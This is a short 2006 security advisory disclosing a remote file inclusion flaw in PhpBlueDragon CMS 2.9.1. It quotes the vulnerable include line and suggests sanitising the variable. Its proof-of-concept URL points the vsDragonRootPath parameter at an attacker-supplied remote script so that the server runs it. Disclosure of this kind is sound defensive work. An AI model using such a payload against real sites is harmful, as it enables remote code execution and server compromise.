PhpBlueDragon CMS 2.9.1, File inclusion vulnerability

Advisory id: FSA:015

Author: Federico Fazzi
Date: 14/06/2006, 18:20
Sinthesis: PhpBlueDragon CMS 2.9.1, File inclusion vulnerability
Type: high
Product: http://phpbluedragon.net/
Patch: unavailable

1) Description:

Error occured in template.php, line 23:

require($vsDragonRootPath."public_includes/pub_kernel/pbd_template_custom.php");

2) Proof of concept:

http://example/[pbd_path]/software_upload/public_includes/pub_templates/vphptree/template.php?vsDragonRootPath=[cmd_url]/
(note this is with final slash (/))

3) Solution:

sanitized $vsDragonRootPath